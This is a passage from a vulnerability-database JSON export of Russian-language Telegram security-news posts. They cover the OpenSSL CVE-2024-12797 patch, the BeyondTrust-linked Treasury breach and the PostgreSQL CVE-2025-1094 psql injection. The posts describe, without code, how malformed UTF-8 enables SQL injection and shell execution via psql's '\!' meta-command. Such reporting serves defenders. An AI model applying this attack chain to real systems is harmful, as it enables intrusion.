\u043a\u0442\u043e \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u043d\u0435 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u044e\u0442.\n\nOpenSSL 3.4, 3.3 \u0438 3.2 \u0443\u044f\u0437\u0432\u0438\u043c\u044b. CVE-2024-12797 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c 3.4.1, 3.3.2 \u0438 3.2.4.", "creation_timestamp": "2025-02-12T10:04:38.000000Z"}, {"uuid": "1a49473c-04b7-45f6-8686-784c58169efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/6612", "content": "\u041a\u0430\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442 \u0421\u041c\u0418, \u0432 \u0445\u043e\u0434\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0442\u0435, \u0447\u0442\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c\u0438.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0432\u0441\u0435 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u0440\u0430\u0439\u043d\u0435 \u043c\u0430\u043b\u043e.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u043a\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u043d\u043e \u0438 \u0447\u0442\u043e \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c - \u0432 \u043f\u043e\u043b\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442\u0441\u044f.\n\n\u041f\u043e \u043d\u0430\u0447\u0430\u043b\u0443 \u0432 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435 \u0421\u0428\u0410 \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u043d\u0435\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u041a\u0430\u0437\u043d\u0430\u0447\u0435\u0439\u0441\u0442\u0432\u0430.\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442 BeyondTrust.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e 0-day, CVE-2024-12356, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043d\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u044d\u0442\u043e \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438.\n\n\u0416\u0443\u0440\u043d\u0430\u043b\u0438\u0441\u0442\u0430\u043c CNN\u00a0\u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0437\u043d\u0430\u0442\u044c \u043e\u0442 \u0442\u0440\u0435\u0445 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043b\u0438\u0446 \u0421\u0428\u0410, \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0445 \u0441 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0435\u0439, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0438\u043c\u043e \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u043e\u043c\u0438\u0442\u0435\u0442\u043e\u043c \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c \u0432 \u0421\u0428\u0410 (CFIUS).\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 Washington Post\u00a0\u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438, \u0447\u0442\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC), \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CNN, \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u0438 \u043e\u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0435\u043d\u044b \u0442\u0435\u043c, \u0447\u0442\u043e \u041a\u0438\u0442\u0430\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0431\u0449\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u00ab\u043d\u0435\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u0443\u044e\u00bb \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0438\u043c \u0432\u044b\u0443\u0434\u0438\u0442\u044c \u0432\u0435\u0441\u044c\u043c\u0430 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u0412 Bloomberg \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u043e\u044f\u0442\u044c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f APT,\u00a0\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Silk Typhoon \u0438\u043b\u0438\u00a0Hafnium.\n\n\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0441\u0442\u044b \u0438 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0435 \u0441 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0435\u0439 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f. \u0412\u0438\u0434\u0438\u043c\u043e, \u0432\u0441\u0435 \u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0433\u0440\u0438\u0444\u0430 \u0432 \u0443\u0442\u0435\u043a\u0448\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0432\u0441\u0435 \u0436\u0435 \u0431\u044b\u043b\u043e.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2025-01-13T14:17:04.000000Z"}, {"uuid": "8cf7c1de-f572-449f-8ca8-393c2c0011d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/true_secator/6736", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 0-day PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0442\u0430\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 BeyondTrust Privileged Remote Access \u0438 Remote Support, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b PostgreSQL\u00a0psql\u00a0\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c SQL, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435, \u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e.\u00a0\n\n\u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00a0CVE-2024-12356, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 BeyondTrust (CVE-2024-12356) \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 PostgreSQL \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e BeyondTrust \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2024-12356 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e CVE-2024-12686, \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u043e\u043f\u043e\u0440\u044b \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Rapid7, \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u043a\u0430\u043a\u00a0psql \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0439\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 UTF-8.\n\n\u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f\u00a0\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2025-1094 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0438\u0448\u043b\u0438 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0436\u0434\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 SQL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0447\u0435\u0440\u0435\u0437\u00a0\u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u0443 psql.\n\n\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443\u00a0id\u00a0\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\u00a0\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e PostgreSQL 17.3, 16.7, 15.11, 14.16 \u0438 13.19 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u041f\u0440\u0438 